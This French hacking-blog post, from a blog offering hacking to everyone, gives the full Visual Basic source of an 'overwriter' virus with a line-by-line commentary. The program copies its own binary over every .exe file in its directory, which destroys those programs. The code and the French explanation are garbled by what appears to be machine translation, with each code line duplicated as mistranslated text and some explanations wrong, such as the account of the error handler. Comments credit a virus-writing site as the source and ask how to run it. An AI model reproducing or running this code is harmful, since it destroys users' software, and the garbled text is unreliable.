Overblog Suivre ce blog
Editer l'article Administration Créer mon blog
27 mars 2011 7 27 /03 /mars /2011 13:19

imagesLes virus informatiques sont sous de nombreuses formes avec de nombreuses fonctions différentes. Certains sont plutôt simplistes et peuvent être détectés par l'utilisateur moyen tandis que d'autres sont complexes et passent inaperçus pendant un certain temps. Les virus les plus courants relevant de la classification des infecteurs de fichiers, qui fonctionnent en infectant des fichiers exécutables. Ils y parviennent en insérant leur code malveillant dans une zone du fichier d'origine, lui permettant d'être exécutée chaque fois que le fichier est accessible Certains d'entre eux sont capables de complètement écraser un fichier, ce qui rend tout un programme inutile.

 

C’est le cas de ce type de virus que nous allons voir aujourd’hui. Les virus Overwritters.

Je sais que les virus overwritters , n'ont malheureusement plus aucune chance de se propager et ils ne sont pas "intelligent". Malgré tout cela overwritters peut vous aider à comprendre les bases du VRAI virus. Je vais vous donner le code d'abord et ensuite on va le passer en revue.

 -=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-= 

 

 Option Explicit Option Explicit

 Dim myarray() As Byte myarray Dim () As Byte

 Dim victim As String victime Dim As String

 Const mysize As Integer = 11776 mysize Const As Integer = 11776

 

 Private Sub Form_Load() Private Sub Form_Load ()

 On Error Resume Next On Error Resume Next

 Dim Free Dim gratuit

 Free = FreeFile Free = FreeFile

 

 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free

 ReDim myarray(mysize) ReDim MonTableau (mysize)

 Get #1, 1, myarray Obtenez myarray # 1, 1,

 Close #Free Close # Free

 

 victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")

 While victim <> "" Bien que victime <> ""

 

 Open App.Path & "\" & victim For Binary Access Write As #Free Open App.Path & "\" & victime pour l'accès binaire Ecrivez comme # Free

 Put #1, , myarray Put # 1,, myarray

 Put #1, , mysize Put # 1,, mysize

 Close #Free Close # Free

 

 victim = Dir() victime = Dir ()

 

 Wend Wend

 

 End End

 End Sub End Sub

  -=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-= 

 

Décodons tout cela : (miam ! J)

 Option Explicit Option Explicit

 Dim myarray() As Byte myarray Dim () As Byte

 Dim victim As String victime Dim As String

 Const mysize As Integer = 11776 mysize Const As Integer = 11776

Ici, nous définissons les variables que nous allons utiliser, le "myarray ()" variable qui contient le code binaire du virus, "victime" est la variable qui contient le nom du fichier de la victime et le "mysize" variable contient la taille du virus.

 Private Sub Form_Load() Private Sub Form_Load ()

 On Error Resume Next On Error Resume Next

Nous ouvrons le sous dossier que nous allons utiliser (Form_Load), et nous avons mis notre erreur poignée c'est-à-dire qu’en cas d’erreur le programme s’arrêtera là.

 Dim Free Dim gratuit

 Free = FreeFile Free = FreeFile

C'est une bonne idée de prendre exemple sur le virus y2k. Cela vous débarrasse de la lecture / écriture des erreurs, car il est open source.

 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free

 ReDim myarray(mysize) ReDim MonTableau (mysize)

 Get #1, 1, myarray Obtenez myarray # 1, 1,

 Close #Free Close # Free

Maintenant, nous allons sortir le code binaire de nos virus et nous allons le stocker dans la variable "myarray".

 victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")

 While victim <> "" Bien que victime <> ""

 

 Open App.Path & "\" & victim For Binary Access Write As #Free Open App.Path & "\" & victime pour l'accès binaire Ecrivez comme # Free

 Put #1, , myarray Put # 1,, myarray

 Put #1, , mysize Put # 1,, mysize

 Close #Free Close # Free

Ici, nous définissons la variable « victime » et nous avons mis notre code binaire dans le programme de la victime.

 victim = Dir() victime = Dir ()

 

 Wend Wend

Puis nous avons mis la victime à zéro, et nous répétons l'ensemble du processus d'infecter tous les fichiers. Exe dans le répertoire courant.

 End End

 End Sub End Sub

Et enfin, nous fermons le programme et les sous dossiers.

Partager cet article

Repost 0
Published by Gur@nco - dans Dossiers
commenter cet article

commentaires

Wendaï Ward 31/10/2013 20:00


Super truc parcontre tu vas dire que je suis un inculte mais... On doit mettre en .bat ou en .vbs si oui précise lequel stp et si non pareille, précise lequel

Tyler 28/05/2012 23:32


Il est vraiment sympa ton blog. Pourrais tu prochainement poster un article avec la base de la programmation en Basic ou en Algorithme ? Sa serait vraiment génial


En tout cas merci pour toute ses informations, bonne continuation

anonymous 30/09/2011 19:05


Il serait bien d'indiquer que tu as pris ton travail sur le site http://vx.netlux.org/lib/static/vdat/tuvbpain.htm ...


Présentation

  • : Le hacking à la portée de tout le monde
  • Le hacking à la portée de tout le monde
  • : le hacking n'aura plus de secrets pour vous !!
  • Contact

VIPEuroShare

Recherche

Archives

Pages

Liens